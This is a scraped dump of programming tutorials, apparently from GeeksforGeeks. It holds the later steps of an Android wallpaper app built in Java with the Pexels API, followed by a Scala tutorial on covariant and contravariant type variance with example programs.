"text": "Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as CategoryRVModal add below code to it. Comments are added in the code to get to know in more detail."
},
{
"code": null,
"e": 4599,
"s": 4594,
"text": "Java"
},
{
"code": "public class CategoryRVModal { // creating variable font category // and image url on below line. private String category; private String imgUrl; public CategoryRVModal(String category, String imgUrl) { this.category = category; this.imgUrl = imgUrl; } // creating a constructor, getter and setter methods. public String getCategory() { return category; } public void setCategory(String category) { this.category = category; } public String getImgUrl() { return imgUrl; } public void setImgUrl(String imgUrl) { this.imgUrl = imgUrl; }}",
"e": 5233,
"s": 4599,
"text": null
},
{
"code": null,
"e": 5266,
"s": 5233,
"text": "Step 7: Creating drawable files "
},
{
"code": null,
"e": 5545,
"s": 5266,
"text": "We will be creating two drawable files one will be for our button background. For creating this file, navigate to the app > res > drawable > Right-click on it > New and name it as button_back and add the code below. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 5549,
"s": 5545,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><shape xmlns:android=\"http://schemas.android.com/apk/res/android\" android:shape=\"rectangle\"> <solid android:color=\"@color/black_shade_1\" /> <!--stroke for our button--> <stroke android:width=\"1dp\" android:color=\"@color/white\" /> <corners android:radius=\"20dp\" /></shape>",
"e": 5887,
"s": 5549,
"text": null
},
{
"code": null,
"e": 6064,
"s": 5887,
"text": "After that, we will be creating a drawable file for our search bar background. Similarly, create another drawable file and name it as search_back and add the below code to it. "
},
{
"code": null,
"e": 6068,
"s": 6064,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><shape xmlns:android=\"http://schemas.android.com/apk/res/android\" android:shape=\"rectangle\"> <corners android:radius=\"15dp\" /> <solid android:color=\"@color/white\" /></shape>",
"e": 6289,
"s": 6068,
"text": null
},
{
"code": null,
"e": 6341,
"s": 6289,
"text": "Step 8: Creating a layout file for category_rv_item"
},
{
"code": null,
"e": 6488,
"s": 6341,
"text": "Navigate to the app > res > layout > category_rv_item and add the below code to it. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 6492,
"s": 6488,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><androidx.cardview.widget.CardView xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:app=\"http://schemas.android.com/apk/res-auto\" android:layout_width=\"130dp\" android:layout_height=\"70dp\" android:layout_gravity=\"center\" android:layout_margin=\"5dp\" app:cardCornerRadius=\"8dp\"> <!--creating a relative layout on below line--> <RelativeLayout android:layout_width=\"match_parent\" android:layout_height=\"match_parent\"> <!--creating an image view on below line--> <ImageView android:id=\"@+id/idIVCategory\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:scaleType=\"centerCrop\" android:src=\"@color/purple_200\" /> <!--creating a text view on below line--> <TextView android:id=\"@+id/idTVCategory\" android:layout_width=\"match_parent\" android:layout_height=\"wrap_content\" android:layout_centerInParent=\"true\" android:gravity=\"center_horizontal\" android:text=\"Category\" android:textAlignment=\"center\" android:textColor=\"@color/white\" android:textStyle=\"bold\" /> </RelativeLayout> </androidx.cardview.widget.CardView>",
"e": 7825,
"s": 6492,
"text": null
},
{
"code": null,
"e": 7895,
"s": 7825,
"text": "Step 9: Creating a layout file for the item in Wallpaper RecyclerView"
},
{
"code": null,
"e": 8101,
"s": 7895,
"text": "Navigate to the app > res > layout > Right-click on it > New > Layout Resource file and name it as wallpaper_rv_item and add below code to it. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 8105,
"s": 8101,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><androidx.cardview.widget.CardView xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:app=\"http://schemas.android.com/apk/res-auto\" android:id=\"@+id/idCVWallpaper\" android:layout_width=\"match_parent\" android:layout_height=\"200dp\" android:layout_margin=\"6dp\" app:cardCornerRadius=\"8dp\"> <!--creating an image view for displaying wallpaper--> <ImageView android:id=\"@+id/idIVWallpaper\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:scaleType=\"centerCrop\" android:src=\"@mipmap/ic_launcher\" /> </androidx.cardview.widget.CardView>",
"e": 8789,
"s": 8105,
"text": null
},
{
"code": null,
"e": 8866,
"s": 8789,
"text": "Step 10: Creating an Adapter class for setting data to items of RecyclerView"
},
{
"code": null,
"e": 9085,
"s": 8866,
"text": "Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as WallpaperRVAdapter and add the below code to it. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 9090,
"s": 9085,
"text": "Java"
},
{
"code": "import android.content.Context;import android.content.Intent;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.ImageView; import androidx.annotation.NonNull;import androidx.cardview.widget.CardView;import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import java.util.ArrayList; public class WallpaperRVAdapter extends RecyclerView.Adapter<WallpaperRVAdapter.ViewHolder> { // creating variables for array list and context. private ArrayList<String> wallPaperList; private Context context; // creating a constructor. public WallpaperRVAdapter(ArrayList<String> wallPaperList, Context context) { this.wallPaperList = wallPaperList; this.context = context; } @NonNull @Override public WallpaperRVAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { // inflating our layout file on below line. View view = LayoutInflater.from(context).inflate(R.layout.wallpaper_rv_item, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull WallpaperRVAdapter.ViewHolder holder, int position) { // setting data to all our views. Glide.with(context).load(wallPaperList.get(position)).into(holder.wallpaperIV); // adding on click listener to item view. holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // passing data through intent on below line. Intent i = new Intent(context, WallpaperActivity.class); i.putExtra(\"imgUrl\", wallPaperList.get(position)); context.startActivity(i); } }); } @Override public int getItemCount() { return wallPaperList.size(); } public class ViewHolder extends RecyclerView.ViewHolder { // creating variables for our views // which are created in layout file. private CardView imageCV; private ImageView wallpaperIV; public ViewHolder(@NonNull View itemView) { super(itemView); // initializing all the variables. wallpaperIV = itemView.findViewById(R.id.idIVWallpaper); imageCV = itemView.findViewById(R.id.idCVWallpaper); } }}",
"e": 11478,
"s": 9090,
"text": null
},
{
"code": null,
"e": 11543,
"s": 11478,
"text": "Step 11: Creating an Adapter class for our Category RecyclerView"
},
{
"code": null,
"e": 11760,
"s": 11543,
"text": "Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as CategoryRVAdapter and add the below code to it. Comments are added in the code to get to know in more detail."
},
{
"code": null,
"e": 11765,
"s": 11760,
"text": "Java"
},
{
"code": "import android.content.Context;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.ImageView;import android.widget.TextView; import androidx.annotation.NonNull;import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import java.util.ArrayList; public class CategoryRVAdapter extends RecyclerView.Adapter<CategoryRVAdapter.ViewHolder> { // creating variables for // array list and context and interface. private ArrayList<CategoryRVModal> categoryRVModals; private Context context; private CategoryClickInterface categoryClickInterface; // creating a constructor. public CategoryRVAdapter(ArrayList<CategoryRVModal> categoryRVModals, Context context, CategoryClickInterface categoryClickInterface) { this.categoryRVModals = categoryRVModals; this.context = context; this.categoryClickInterface = categoryClickInterface; } @NonNull @Override public CategoryRVAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { // inflating our layout file on below line. View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.category_rv_item, parent, false); return new CategoryRVAdapter.ViewHolder(view); } @Override public void onBindViewHolder(@NonNull CategoryRVAdapter.ViewHolder holder, int position) { // setting data to all our views. CategoryRVModal modal = categoryRVModals.get(position); holder.categoryTV.setText(modal.getCategory()); if (!modal.getImgUrl().isEmpty()) { Glide.with(context).load(modal.getImgUrl()).into(holder.categoryIV); } else { holder.categoryIV.setImageResource(R.drawable.ic_launcher_background); } // adding on click listener to item view on below line. holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // passing position with interface. categoryClickInterface.onCategoryClick(position); } }); } @Override public int getItemCount() { return categoryRVModals.size(); } // creating an interface on below line. public interface CategoryClickInterface { void onCategoryClick(int position); } public class ViewHolder extends RecyclerView.ViewHolder { // creating variables on below line. private TextView categoryTV; private ImageView categoryIV; public ViewHolder(@NonNull View itemView) { super(itemView); // initializing all variables on below line. categoryIV = itemView.findViewById(R.id.idIVCategory); categoryTV = itemView.findViewById(R.id.idTVCategory); } }}",
"e": 14613,
"s": 11765,
"text": null
},
{
"code": null,
"e": 14680,
"s": 14613,
"text": "Step 12: Creating a new Activity for displaying a single Wallpaper"
},
{
"code": null,
"e": 14892,
"s": 14680,
"text": "Navigate to the app > java > your app’s package name > Right-click on it > New > Activity > Select Empty Activity and name it as WallpaperActivity and now we will move towards working of activity_wallpaper.xml. "
},
{
"code": null,
"e": 14942,
"s": 14892,
"text": "Step 13: Working with activity_wallpaper.xml file"
},
{
"code": null,
"e": 15095,
"s": 14942,
"text": "Navigate to the app > res > layout > activity_wallpaper.xml and add the below code to it. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 15099,
"s": 15095,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:app=\"http://schemas.android.com/apk/res-auto\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" tools:context=\".WallpaperActivity\"> <!--creating an image view for displaying image--> <ImageView android:id=\"@+id/image\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:scaleType=\"centerCrop\" /> <!--creating a button to set the wallpaper--> <Button android:id=\"@+id/idBtnSetWallpaper\" android:layout_width=\"match_parent\" android:layout_height=\"wrap_content\" android:layout_alignParentBottom=\"true\" android:layout_marginStart=\"20dp\" android:layout_marginEnd=\"20dp\" android:layout_marginBottom=\"10dp\" android:background=\"@drawable/button_back\" android:text=\"Set Wallpaper\" android:textAllCaps=\"false\" android:textColor=\"@color/white\" android:textSize=\"15sp\" app:backgroundTint=\"#A6000000\" /> <!--creating a progress bar for loading indicator--> <ProgressBar android:id=\"@+id/idPBLoading\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:layout_centerInParent=\"true\" /> </RelativeLayout>",
"e": 16525,
"s": 15099,
"text": null
},
{
"code": null,
"e": 16579,
"s": 16525,
"text": "Step 14: Working with the WallpaperActivity.java file"
},
{
"code": null,
"e": 16755,
"s": 16579,
"text": "Navigate to the app > java > your app’s package name > WallpaperActivity.java file and add the below code to it. Comments are added in the code to get to know in more detail. "
},
{
"code": null,
"e": 16760,
"s": 16755,
"text": "Java"
},
{
"code": "import android.app.WallpaperManager;import android.graphics.Bitmap;import android.graphics.drawable.Drawable;import android.os.Bundle;import android.view.View;import android.widget.Button;import android.widget.ImageView;import android.widget.ProgressBar;import android.widget.Toast; import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity; import com.bumptech.glide.Glide;import com.bumptech.glide.load.DataSource;import com.bumptech.glide.load.engine.GlideException;import com.bumptech.glide.request.RequestListener;import com.bumptech.glide.request.target.Target;import com.shashank.sony.fancytoastlib.FancyToast; import java.io.IOException; public class WallpaperActivity extends AppCompatActivity { // on below line we are creating variables // for imageview and wallpaper manager WallpaperManager wallpaperManager; ImageView image; String url; private ProgressBar loadingPB; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_wallpaper); // initializing all variables on below line. url = getIntent().getStringExtra(\"imgUrl\"); image = findViewById(R.id.image); loadingPB = findViewById(R.id.idPBLoading); // calling glide to load image from url on below line. Glide.with(this).load(url).listener(new RequestListener<Drawable>() { @Override public boolean onLoadFailed(@Nullable GlideException e, Object model, Target<Drawable> target, boolean isFirstResource) { // making progress bar visibility // to gone on below line. loadingPB.setVisibility(View.GONE); return false; } @Override public boolean onResourceReady(Drawable resource, Object model, Target<Drawable> target, DataSource dataSource, boolean isFirstResource) { // making progress bar visibility to gone // on below line when image is ready. loadingPB.setVisibility(View.GONE); return false; } }).into(image); wallpaperManager = WallpaperManager.getInstance(getApplicationContext()); Button setWallpaper = findViewById(R.id.idBtnSetWallpaper); // on below line we are adding on click // listener to our set wallpaper button. setWallpaper.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Glide.with(WallpaperActivity.this) .asBitmap().load(url) .listener(new RequestListener<Bitmap>() { @Override public boolean onLoadFailed(@Nullable GlideException e, Object o, Target<Bitmap> target, boolean b) { Toast.makeText(WallpaperActivity.this, \"Fail to load image..\", Toast.LENGTH_SHORT).show(); return false; } @Override public boolean onResourceReady(Bitmap bitmap, Object o, Target<Bitmap> target, DataSource dataSource, boolean b) { // on below line we are setting wallpaper using // wallpaper manager on below line. try { wallpaperManager.setBitmap(bitmap); Toast.makeText(WallpaperActivity.this, \"Wallpaper Set to Home screen.\", Toast.LENGTH_SHORT).show(); } catch (IOException e) { // on below line we are handling exception. Toast.makeText(WallpaperActivity.this, \"Fail to set wallpaper\", Toast.LENGTH_SHORT).show(); e.printStackTrace(); } return false; } } ).submit(); // displaying custom toast on below line. FancyToast.makeText(WallpaperActivity.this, \"Wallpaper Set to Home Screen\", FancyToast.LENGTH_LONG, FancyToast.SUCCESS, false).show(); } }); }}",
"e": 21344,
"s": 16760,
"text": null
},
{
"code": null,
"e": 21391,
"s": 21344,
"text": "Step 15: Generating the API key for Pixels API"
},
{
"code": null,
"e": 21713,
"s": 21391,
"text": "For generating an API for using Pexels API we simply have to go to the Pexels site here. After going to this site we simply have to signup on this website and create an account. After creating a new account you have to simply login to your account. After logging in to your account. You will get to see the below screen. "
},
{
"code": null,
"e": 22048,
"s": 21713,
"text": "In this screen, we simply have to click on the account option arrow then simply select the Image and Video API option to get to see our API key. After clicking on that option a new screen will open in which we simply have to click on the Your API key option to get our API key. Then you will get to see your API which is shown below. "
},
{
"code": null,
"e": 22103,
"s": 22048,
"text": "Now we will be using this API key in our application. "
},
{
"code": null,
"e": 22152,
"s": 22103,
"text": "Step 16: Working with the MainActivity.java file"
},
{
"code": null,
"e": 22342,
"s": 22152,
"text": "Go to the MainActivity.java file and refer to the following code. Below is the code for the MainActivity.java file. Comments are added inside the code to understand the code in more detail."
},
{
"code": null,
"e": 22347,
"s": 22342,
"text": "Java"
},
{
"code": "import android.os.Bundle;import android.view.View;import android.widget.EditText;import android.widget.ImageView;import android.widget.ProgressBar;import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity;import androidx.recyclerview.widget.GridLayoutManager;import androidx.recyclerview.widget.LinearLayoutManager;import androidx.recyclerview.widget.RecyclerView; import com.android.volley.Request;import com.android.volley.RequestQueue;import com.android.volley.Response;import com.android.volley.VolleyError;import com.android.volley.toolbox.JsonObjectRequest;import com.android.volley.toolbox.Volley; import org.json.JSONArray;import org.json.JSONException;import org.json.JSONObject; import java.util.ArrayList;import java.util.HashMap;import java.util.Map; public class MainActivity extends AppCompatActivity implements CategoryRVAdapter.CategoryClickInterface { // creating variables for recyclerview, // progress bar, adapter and array list, // edittext and others. private RecyclerView categoryRV, wallpaperRV; private ProgressBar loadingPB; private ArrayList<CategoryRVModal> categoryRVModals; private ArrayList<String> wallpaperArrayList; private CategoryRVAdapter categoryRVAdapter; private WallpaperRVAdapter wallpaperRVAdapter; private EditText searchEdt; private ImageView searchIV; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_home_screen); // initializing all variables on below line. categoryRV = findViewById(R.id.idRVCategories); wallpaperRV = findViewById(R.id.idRVWallpapers); searchEdt = findViewById(R.id.idEdtSearch); searchIV = findViewById(R.id.idIVSearch); loadingPB = findViewById(R.id.idPBLoading); wallpaperArrayList = new ArrayList<>(); categoryRVModals = new ArrayList<>(); // creating a layout manager for // recycler view which is our category. LinearLayoutManager manager1 = new LinearLayoutManager(MainActivity.this, RecyclerView.HORIZONTAL, false); // initializing our adapter class on below line. wallpaperRVAdapter = new WallpaperRVAdapter(wallpaperArrayList, this); categoryRVAdapter = new CategoryRVAdapter(categoryRVModals, this, this); // setting layout manager to our // category recycler view as horizontal. categoryRV.setLayoutManager(manager1); categoryRV.setAdapter(categoryRVAdapter); // creating a grid layout manager // for our wallpaper recycler view. GridLayoutManager layoutManager = new GridLayoutManager(this, 2); // setting layout manager and // adapter to our recycler view. wallpaperRV.setLayoutManager(layoutManager); wallpaperRV.setAdapter(wallpaperRVAdapter); // on below line we are calling method to // get categories to add data in array list. getCategories(); // on below line we are calling get wallpaper // method to get data in wallpaper array list. getWallpapers(); // on below line we are adding on click listener // for search image view on below line. searchIV.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // inside on click method we are getting data from // our search edittext and validating if the input field is empty or not. String searchStr = searchEdt.getText().toString(); if (searchStr.isEmpty()) { Toast.makeText(MainActivity.this, \"Please enter something to search\", Toast.LENGTH_SHORT).show(); } else { // on below line we are calling a get wallpaper // method to get wallpapers by category. getWallpapersByCategory(searchStr); } } }); } // on below line we are creating a method // to get the wallpaper by category. private void getWallpapersByCategory(String category) { // on below line we are // clearing our array list. wallpaperArrayList.clear(); // on below line we are making visibility // of our progress bar as gone. loadingPB.setVisibility(View.VISIBLE); // on below line we are creating a string // variable for our url and adding url to it. String url = \"https://api.pexels.com/v1/search?query=\" + category + \"&per_page=30&page=1\"; // on below line we are creating a // new variable for our request queue. RequestQueue queue = Volley.newRequestQueue(MainActivity.this); // on below line we are making a json object // request to get the data from url . JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { // on below line we are extracting the data from our // response and passing it to our array list. try { loadingPB.setVisibility(View.GONE); // on below line we are extracting json data. JSONArray photos = response.getJSONArray(\"photos\"); for (int i = 0; i < photos.length(); i++) { JSONObject photoObj = photos.getJSONObject(i); String imgUrl = photoObj.getJSONObject(\"src\").getString(\"portrait\"); // on below line we are passing // data to our array list wallpaperArrayList.add(imgUrl); } // here we are notifying adapter // that data has changed in our list. wallpaperRVAdapter.notifyDataSetChanged(); } catch (JSONException e) { // handling json exception // on below line. e.printStackTrace(); } } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { // displaying a simple toast message on error response. Toast.makeText(MainActivity.this, \"Fail to get data..\", Toast.LENGTH_SHORT).show(); } }) { @Override public Map<String, String> getHeaders() { // in this method passing headers as // key along with value as API keys. HashMap<String, String> headers = new HashMap<>(); headers.put(\"Authorization\", \"Enter your key\"); // at last returning headers. return headers; } }; queue.add(jsonObjectRequest); } private void getWallpapers() { // on below line we are // clearing our array list. wallpaperArrayList.clear(); // changing visibility of our // progress bar to gone. loadingPB.setVisibility(View.VISIBLE); // creating a variable for our url. String url = \"https://api.pexels.com/v1/curated?per_page=30&page=1\"; // on below line we are creating a // new variable for our request queue. RequestQueue queue = Volley.newRequestQueue(MainActivity.this); // on below line we are making a json // object request to get the data from url . JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { // on below line we are extracting the data from // our response and passing it to our array list. loadingPB.setVisibility(View.GONE); try { // on below line we are extracting json data. JSONArray photos = response.getJSONArray(\"photos\"); for (int i = 0; i < photos.length(); i++) { JSONObject photoObj = photos.getJSONObject(i); String imgUrl = photoObj.getJSONObject(\"src\").getString(\"portrait\"); // on below line we are passing // data to our array list wallpaperArrayList.add(imgUrl); } wallpaperRVAdapter.notifyDataSetChanged(); } catch (JSONException e) { // handling json exception // on below line. e.printStackTrace(); } } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { // displaying a toast message on error response. Toast.makeText(MainActivity.this, \"Fail to get data..\", Toast.LENGTH_SHORT).show(); } }) { @Override public Map<String, String> getHeaders() { // in this method passing headers as // key along with value as API keys. HashMap<String, String> headers = new HashMap<>(); headers.put(\"Authorization\", \"Enter your key\"); // at last returning headers. return headers; } }; queue.add(jsonObjectRequest); } private void getCategories() { // on below lines we are adding data to our category array list. categoryRVModals.add(new CategoryRVModal(\"Technology\", \"https://images.unsplash.com/photo-1526374965328-7f61d4dc18c5?ixid=MnwxMjA3fDB8MHxzZWFyY2h8MTJ8fHRlY2hub2xvZ3l8ZW58MHx8MHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60\")); categoryRVModals.add(new CategoryRVModal(\"Programming\", \"https://images.unsplash.com/photo-1542831371-29b0f74f9713?ixid=MnwxMjA3fDB8MHxzZWFyY2h8MXx8cHJvZ3JhbW1pbmd8ZW58MHx8MHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60\")); categoryRVModals.add(new CategoryRVModal(\"Nature\", \"https://images.pexels.com/photos/2387873/pexels-photo-2387873.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Travel\", \"https://images.pexels.com/photos/672358/pexels-photo-672358.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Architecture\", \"https://images.pexels.com/photos/256150/pexels-photo-256150.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Arts\", \"https://images.pexels.com/photos/1194420/pexels-photo-1194420.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Music\", \"https://images.pexels.com/photos/4348093/pexels-photo-4348093.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Abstract\", \"https://images.pexels.com/photos/2110951/pexels-photo-2110951.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Cars\", \"https://images.pexels.com/photos/3802510/pexels-photo-3802510.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); categoryRVModals.add(new CategoryRVModal(\"Flowers\", \"https://images.pexels.com/photos/1086178/pexels-photo-1086178.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500\")); } @Override public void onCategoryClick(int position) { // on below line we are getting category from our // array list and calling a method // to get wallpapers by category. String category = categoryRVModals.get(position).getCategory(); getWallpapersByCategory(category); }}",
"e": 34126,
"s": 22347,
"text": null
},
{
"code": null,
"e": 34191,
"s": 34126,
"text": "Now run your application and see the output of the application. "
},
{
"code": null,
"e": 34313,
"s": 34191,
"text": "Note: All drawable files used in the app are present in the drawable folder. Check out the project on below GitHub link. "
},
{
"code": null,
"e": 34374,
"s": 34313,
"text": "GitHub Link: https://github.com/ChaitanyaMunje/Wallpaper-App"
},
{
"code": null,
"e": 34382,
"s": 34374,
"text": "Output:"
},
{
"code": null,
"e": 34400,
"s": 34382,
"text": "gulshankumarar231"
},
{
"code": null,
"e": 34415,
"s": 34400,
"text": "Android-Studio"
},
{
"code": null,
"e": 34428,
"s": 34415,
"text": "ProGeek 2021"
},
{
"code": null,
"e": 34436,
"s": 34428,
"text": "Android"
},
{
"code": null,
"e": 34444,
"s": 34436,
"text": "ProGeek"
},
{
"code": null,
"e": 34452,
"s": 34444,
"text": "Project"
},
{
"code": null,
"e": 34460,
"s": 34452,
"text": "Android"
},
{
"code": null,
"e": 34558,
"s": 34460,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 34627,
"s": 34558,
"text": "How to Add Views Dynamically and Store Data in Arraylist in Android?"
},
{
"code": null,
"e": 34658,
"s": 34627,
"text": "Android RecyclerView in Kotlin"
},
{
"code": null,
"e": 34701,
"s": 34658,
"text": "Broadcast Receiver in Android With Example"
},
{
"code": null,
"e": 34733,
"s": 34701,
"text": "Android SDK and it's Components"
},
{
"code": null,
"e": 34782,
"s": 34733,
"text": "How to Communicate Between Fragments in Android?"
},
{
"code": null,
"e": 34814,
"s": 34782,
"text": "E-commerce Website using Django"
},
{
"code": null,
"e": 34870,
"s": 34814,
"text": "College Management System using Django - Python Project"
},
{
"code": null,
"e": 34939,
"s": 34870,
"text": "How to Build a Simple Note Android App using MVVM and Room Database?"
},
{
"code": null,
"e": 34990,
"s": 34939,
"text": "Handwritten Digit Recognition using Neural Network"
}
] |
Scala | Variances
|
10 Apr, 2019
Variance is the interconnection of Sub-Typing relationships which are either of complicated types or of their constituent types. Variance explains inheritance correlation of Types that have parameters or arguments within them. These types belongs to the generic classes, which takes a type like a parameter. In the presence of Variance one can create relations between complicated types and in its absence we won’t be able to reiterate the abstraction class. The Scala Variances are of three types, which are as follows:
CovariantContravariantInvariant
Covariant
Contravariant
Invariant
Some important points:
In Scala collection’s types can be constructed more securely through Variances.
Variances can provide us with some extra adjustable advancements.
It also helps in the development of authentic applications.
Variances can be applied on any Scala Types like List, Sets, etc.
Let’s discuss each type in detail.
Covariant: If a generic class has a type parameter T, then its Covariant notation will be [+T]. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T, then you can say that List[S] is also the sub-type of List[T]. If two types are related like this then they fall under the Covariant type. List[T] can be called as Generic.Syntax:List[+T]Here, T is the type parameter and + is the symbol of Covariance.Example:// Scala program of covariant// type // Creating an abstract class// for Studentabstract class Student{ def name: String} // Creating a sub-class Girls// of Studentcase class Girls(name: String) extends Student // Creating a sub-class Boys// of Studentcase class Boys(name: String) extends Student // Creating an Object Covariance// that inherits main method of// Appobject Covariance extends App{ // Creating a method def Studentnames(students: List[Student]): Unit = { students.foreach { student => // Displays students name println(student.name) } } // Assigning names val boys: List[Boys] = List(Boys("Kanchan"), Boys("Rahul")) val girls: List[Girls] = List(Girls("Nidhi"), Girls("Geeta")) // Accessing list of boys Studentnames(boys) // Accessing list of girls Studentnames(girls)}Output:Kanchan
Rahul
Nidhi
Geeta
Here, List of boys and girls both belongs to the List of students as they are its sub-type and so, here names of all the students are displayed when the Super-type Student is called.Note:Abstract class is utilized here to apply covariance as it has List[+T] with it where, the type parameter T is covariant.A trait App is used here to speedily change objects into workable programs.
List[+T]
Here, T is the type parameter and + is the symbol of Covariance.Example:
// Scala program of covariant// type // Creating an abstract class// for Studentabstract class Student{ def name: String} // Creating a sub-class Girls// of Studentcase class Girls(name: String) extends Student // Creating a sub-class Boys// of Studentcase class Boys(name: String) extends Student // Creating an Object Covariance// that inherits main method of// Appobject Covariance extends App{ // Creating a method def Studentnames(students: List[Student]): Unit = { students.foreach { student => // Displays students name println(student.name) } } // Assigning names val boys: List[Boys] = List(Boys("Kanchan"), Boys("Rahul")) val girls: List[Girls] = List(Girls("Nidhi"), Girls("Geeta")) // Accessing list of boys Studentnames(boys) // Accessing list of girls Studentnames(girls)}
Kanchan
Rahul
Nidhi
Geeta
Here, List of boys and girls both belongs to the List of students as they are its sub-type and so, here names of all the students are displayed when the Super-type Student is called.Note:
Abstract class is utilized here to apply covariance as it has List[+T] with it where, the type parameter T is covariant.
A trait App is used here to speedily change objects into workable programs.
Contravariant: If a generic class has a type parameter T, then its Contravariant notation will be [-T]. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T, but List[T] is the sub-type of List[S]. If two types are related like this then they fall under the Contravariant type. It is opposite of covariant.Syntax:List[-T]Here, T is the type parameter and – is the symbol of Contravariance.Example:// Scala program of Variance of// Contravariant type // abstract class with a contravariant // type parameterabstract class Show[-T] { // Method for printing // type T def print(value: T): Unit} // A class structureabstract class Vehicle{ def name: String} // Creating sub-class of Vehiclecase class Car(name: String) extends Vehicle // Creating sub-class of class// Showclass VehicleShow extends Show[Vehicle] { def print(vehicle: Vehicle): Unit = // Displays name of the vehicle println("The name of the vehicle is: " + vehicle.name)} // Creating sub-class of class// Showclass CarShow extends Show[Car] { def print(car: Car): Unit = // Displays name of the car println("The name of the car is: " + car.name)} // Inheriting main method of // the trait Appobject Contravariance extends App { // Assigning value to the name val newCar: Car = Car("Scorpio") // Defining a method that // prints the name def printnewCar(show: Show[Car]): Unit = { show.print(newCar) } // Creating objects val showcar: Show[Car] = new CarShow val showvehicle: Show[Vehicle] = new VehicleShow // Accessing name printnewCar(showcar) printnewCar(showvehicle)}Output:The name of the car is: Scorpio
The name of the vehicle is: Scorpio
It is Contravariant so, we are able to substitute Show[Vehicle] for Show[Car] and that’s why both vehicle and car returns the same name.
List[-T]
Here, T is the type parameter and – is the symbol of Contravariance.Example:
// Scala program of Variance of// Contravariant type // abstract class with a contravariant // type parameterabstract class Show[-T] { // Method for printing // type T def print(value: T): Unit} // A class structureabstract class Vehicle{ def name: String} // Creating sub-class of Vehiclecase class Car(name: String) extends Vehicle // Creating sub-class of class// Showclass VehicleShow extends Show[Vehicle] { def print(vehicle: Vehicle): Unit = // Displays name of the vehicle println("The name of the vehicle is: " + vehicle.name)} // Creating sub-class of class// Showclass CarShow extends Show[Car] { def print(car: Car): Unit = // Displays name of the car println("The name of the car is: " + car.name)} // Inheriting main method of // the trait Appobject Contravariance extends App { // Assigning value to the name val newCar: Car = Car("Scorpio") // Defining a method that // prints the name def printnewCar(show: Show[Car]): Unit = { show.print(newCar) } // Creating objects val showcar: Show[Car] = new CarShow val showvehicle: Show[Vehicle] = new VehicleShow // Accessing name printnewCar(showcar) printnewCar(showvehicle)}
The name of the car is: Scorpio
The name of the vehicle is: Scorpio
It is Contravariant so, we are able to substitute Show[Vehicle] for Show[Car] and that’s why both vehicle and car returns the same name.
